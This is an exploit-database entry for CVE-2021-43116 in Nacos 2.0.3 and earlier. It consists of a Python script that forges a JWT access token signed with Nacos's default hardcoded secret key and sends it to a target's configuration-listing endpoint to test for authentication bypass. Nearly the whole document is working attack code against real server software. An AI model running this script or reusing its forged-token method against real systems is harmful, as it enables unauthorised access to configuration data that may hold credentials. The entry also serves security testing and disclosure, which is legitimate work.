Exploit/Advisories

# Exploit Title: Nacos 2.0.3 - Access Control vulnerability
# Date: 2023-01-17
# Exploit Author: Jenson Zhao
# Vendor Homepage: https://nacos.io/
# Software Link: https://github.com/alibaba/nacos/releases/
# Version: Up to (including)2.0.3
# Tested on: Windows 10
# CVE : CVE-2021-43116
# Required before execution: pip install PyJWT,requests
import argparse
import base64
import requests
import time
import json
from jwt.algorithms import has_crypto, requires_cryptography
from jwt.utils import base64url_encode, force_bytes
from jwt import PyJWS

class MyPyJWS(PyJWS):
def encode(self,
payload, # type: Union[Dict, bytes]
key, # type: str
algorithm='HS256', # type: str
headers=None, # type: Optional[Dict]
json_encoder=None # type: Optional[Callable]
):
segments = []

if algorithm is None:
algorithm = 'none'

if algorithm not in self._valid_algs:
pass

# Header
header = {'alg': algorithm}

if headers:
self._validate_headers(headers)
header.update(headers)

json_header = force_bytes(
json.dumps(
header,
separators=(',', ':'),
cls=json_encoder
)
)

segments.append(base64url_encode(json_header))
segments.append(base64url_encode(payload))

# Segments
signing_input = b'.'.join(segments)
try:
alg_obj = self._algorithms[algorithm]
key = alg_obj.prepare_key(key)
signature = alg_obj.sign(signing_input, key)

except KeyError:
if not has_crypto and algorithm in requires_cryptography:
raise NotImplementedError(
"Algorithm '%s' could not be found. Do you have cryptography "
"installed?" % algorithm
)
else:
raise NotImplementedError('Algorithm not supported')

segments.append(base64url_encode(signature))

return b'.'.join(segments)

def JwtGenerate():
Secret = 'SecretKey01234567890123456789012345678901234567890123456789012345678'
payload = json.dumps(
{
"sub": "nacos",
"exp": int(time.time()) + 3600
},
separators=(',', ':')
).encode('utf-8')
encoded_jwt = MyPyJWS().encode(payload, base64.urlsafe_b64decode(Secret), algorithm='HS256')
return encoded_jwt.decode()

def check(url, https, token):
if https:
r = requests.get(
url='https://' + url + '/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&search=accurate&accessToken=' + token + '&username=',
verify=False)
else:
r = requests.get(
url='http://' + url + '/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&search=accurate&accessToken=' + token + '&username=')
if r.status_code == 403:
print("There is no CVE-2021-43116 problem with the url!")
else:
print("There is CVE-2021-43116 problem with the url!")

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="URL of the target. example: 192.168.1.1:8848")
parser.add_argument("-s", "--https", help="Whether https is used. Default is false")
args = parser.parse_args()
url = args.target
https = False
if (args.https):
https = args.https
if url:
check(url, https, JwtGenerate())
else:
print('Please enter URL!')

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